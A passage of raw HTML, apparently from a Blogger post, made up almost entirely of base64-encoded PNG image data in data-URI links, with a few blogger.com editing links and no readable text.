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" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a><a href="data:image/png;base64,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" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a><a href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVgAAAE2CAIAAACr8B09AAAY7UlEQVR4nO2dfWwc5Z3H/Xdf/mlVqKpWAp3USlVPJ0Wi11sF1PaAlKaJrvSA6hJeWnrbtOWgoneFUOWgORRKopJVhRJIL+iOa2MuCqRuzGJMiJ2QEEgwV1ITQzaO81rsrENie/2yu9793R+7nnnmmWd2d9Y7uzPO5yNLjJ95ZvaZYeY7zzPr55M2AYDLnrZWNwAAWg9BAAB+giB7YefkB09kzv56/OTjYyd+NTb4+MXUug/f/4/RgUfOv7sm/f6GzPm9wTUUAIKj9iAoTn7w6/xURyE/kjn/9IWhx473rc5N7i7k9pV+spnk8LuPBdhSAAgMHz2CyQ9+nZ/uzE93isyKzJ48/KN3X3946sMXZrM9+elXcpmXzvbdH1xDASA46gmC/HSniAy+8YN3eh88d+SXucxL2fGO6Ys7Tr/108DaCQAB4icI/qIGweyx/Xf+ac+/nvm/NdMXd0yO/n5i5JlTh+719+GpRCyWSFUuAYgofi/mll78PoJg4tz6UgpkJ/9QLGQGev/p7d33nnrr5xMjz4yf23zpdGLozZ/4+3CCACJHKhFrKzN3qSbj5YJ40lkxlkgZ1tp7cFzr5fo1718kGbd2YNjKu8Gmyj6CYPzMr0opMD22fTY33P/qrX0vrzr55k8vnU58eOLx0WNrT791X3pwW+07JAggeiTjc7djMt4WS6RSidjcDVoqsCvGEilJxstr5+opl7ipvmv/7j3MLav3sWsr7wabK/sIgksnHy2lQGb0f6bGXj/SffPh5PdOvP6j0WNrzw88NPznn/3lT/9y/MA/a1sZ0kcpKpe5S8y7iCelfCYTzpD0CFmA4Cjd0tZ9KiLuZaXEfuIrN4J9uarbeuxfe0yan5oVnqXeD9